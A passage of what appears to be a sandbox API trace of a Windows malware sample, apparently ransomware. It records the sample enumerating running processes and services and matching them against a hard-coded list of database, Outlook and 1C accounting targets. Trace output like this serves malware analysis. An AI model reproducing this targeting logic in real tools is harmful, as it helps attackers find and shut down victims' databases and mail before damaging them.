(lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0174.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0174.539] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0174.539] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0174.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0174.539] lstrlenW (lpString="TrkWks") returned 6 [0174.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0174.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0174.539] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0174.539] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0174.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0174.539] lstrlenW (lpString="UxSms") returned 5 [0174.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0174.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0174.539] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0174.539] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0174.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0174.539] lstrlenW (lpString="WdiServiceHost") returned 14 [0174.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0174.539] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0174.539] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0174.539] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0174.539] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0174.539] lstrlenW (lpString="WdiSystemHost") returned 13 [0174.539] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0174.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0174.540] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0174.540] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0174.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0174.540] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0174.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0174.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0174.540] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0174.540] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0174.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0174.540] lstrlenW (lpString="Winmgmt") returned 7 [0174.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0174.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0174.540] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0174.540] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0174.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0174.540] lstrlenW (lpString="WPDBusEnum") returned 10 [0174.540] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0174.540] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0174.540] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0174.540] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0174.540] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0174.540] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x51e598 | out: hHeap=0x4b0000) returned 1 [0174.540] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x118 [0174.542] Process32FirstW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.542] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0174.543] lstrlenW (lpString="System") returned 6 [0174.543] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0174.543] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0174.543] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0174.543] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0174.543] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0174.543] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0174.543] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0174.543] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0174.543] lstrlenW (lpString="smss.exe") returned 8 [0174.543] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0174.543] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0174.543] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0174.543] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0174.543] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0174.543] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0174.544] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0174.544] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0174.544] lstrlenW (lpString="csrss.exe") returned 9 [0174.544] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0174.544] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0174.544] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0174.544] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0174.544] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0174.544] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0174.544] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0174.544] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0174.544] lstrlenW (lpString="wininit.exe") returned 11 [0174.544] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0174.545] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0174.545] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0174.545] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0174.545] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0174.545] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0174.545] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0174.545] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0174.545] lstrlenW (lpString="csrss.exe") returned 9 [0174.545] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0174.545] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0174.545] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0174.545] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0174.545] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0174.545] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0174.545] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0174.546] lstrlenW (lpString="winlogon.exe") returned 12 [0174.546] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0174.546] lstrlenW (lpString="services.exe") returned 12 [0174.546] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0174.546] lstrlenW (lpString="lsass.exe") returned 9 [0174.546] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0174.547] lstrlenW (lpString="lsm.exe") returned 7 [0174.547] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.547] lstrlenW (lpString="svchost.exe") returned 11 [0174.547] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.547] lstrlenW (lpString="svchost.exe") returned 11 [0174.547] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.548] lstrlenW (lpString="svchost.exe") returned 11 [0174.548] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.548] lstrlenW (lpString="svchost.exe") returned 11 [0174.548] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.549] lstrlenW (lpString="svchost.exe") returned 11 [0174.549] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0174.549] lstrlenW (lpString="audiodg.exe") returned 11 [0174.549] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.549] lstrlenW (lpString="svchost.exe") returned 11 [0174.549] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.550] lstrlenW (lpString="svchost.exe") returned 11 [0174.550] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0174.550] lstrlenW (lpString="spoolsv.exe") returned 11 [0174.550] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0174.550] lstrlenW (lpString="taskhost.exe") returned 12 [0174.550] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.551] lstrlenW (lpString="svchost.exe") returned 11 [0174.551] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0174.570] lstrlenW (lpString="dwm.exe") returned 7 [0174.570] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0174.571] lstrlenW (lpString="explorer.exe") returned 12 [0174.571] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0174.571] lstrlenW (lpString="3G6885.exe") returned 10 [0174.571] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0174.572] lstrlenW (lpString="reader_sl.exe") returned 13 [0174.572] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0174.573] lstrlenW (lpString="taskhost.exe") returned 12 [0174.573] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0174.573] lstrlenW (lpString="rundll32.exe") returned 12 [0174.573] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dinotify.exe")) returned 1 [0174.574] lstrlenW (lpString="dinotify.exe") returned 12 [0174.574] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x63c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0174.574] lstrlenW (lpString="dllhost.exe") returned 11 [0174.574] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0174.574] lstrlenW (lpString="3G6885.exe") returned 10 [0174.574] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0174.575] lstrlenW (lpString="cmd.exe") returned 7 [0174.575] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0174.575] lstrlenW (lpString="cmd.exe") returned 7 [0174.575] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0174.575] lstrlenW (lpString="conhost.exe") returned 11 [0174.575] Process32NextW (in: hSnapshot=0x118, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0174.576] CloseHandle (hObject=0x118) returned 1 [0174.576] Sleep (dwMilliseconds=0x1f4) [0175.310] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x537c38 [0175.311] EnumServicesStatusExW (in: hSCManager=0x537c38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0175.311] GetLastError () returned 0xea [0175.311] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x11e4) returned 0x4fe158 [0175.311] EnumServicesStatusExW (in: hSCManager=0x537c38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4fe158, cbBufSize=0x11e4, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4fe158, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0175.312] CloseServiceHandle (hSCObject=0x537c38) returned 1 [0175.312] lstrlenW (lpString="Appinfo") returned 7 [0175.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0175.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0175.312] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0175.312] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0175.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0175.312] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0175.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0175.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0175.313] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0175.313] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0175.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0175.313] lstrlenW (lpString="AudioSrv") returned 8 [0175.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0175.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0175.313] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0175.313] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0175.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0175.313] lstrlenW (lpString="BFE") returned 3 [0175.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0175.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0175.313] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0175.313] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0175.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0175.313] lstrlenW (lpString="CryptSvc") returned 8 [0175.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0175.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0175.313] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0175.313] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0175.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0175.313] lstrlenW (lpString="CscService") returned 10 [0175.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0175.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0175.313] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0175.313] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0175.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0175.313] lstrlenW (lpString="DcomLaunch") returned 10 [0175.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0175.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0175.313] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0175.314] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0175.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0175.314] lstrlenW (lpString="Dhcp") returned 4 [0175.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0175.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0175.314] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0175.314] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0175.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0175.314] lstrlenW (lpString="Dnscache") returned 8 [0175.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0175.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0175.314] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0175.314] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0175.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0175.314] lstrlenW (lpString="DPS") returned 3 [0175.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0175.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0175.314] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0175.314] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0175.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0175.314] lstrlenW (lpString="eventlog") returned 8 [0175.314] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0175.314] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0175.314] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0175.314] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0175.314] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0175.334] lstrlenW (lpString="EventSystem") returned 11 [0175.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0175.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0175.334] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0175.334] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0175.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0175.334] lstrlenW (lpString="gpsvc") returned 5 [0175.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0175.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0175.334] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0175.334] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0175.335] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0175.335] lstrlenW (lpString="iphlpsvc") returned 8 [0175.335] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0175.335] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0175.335] lstrcmpiW (lpString1="sqlwriter", 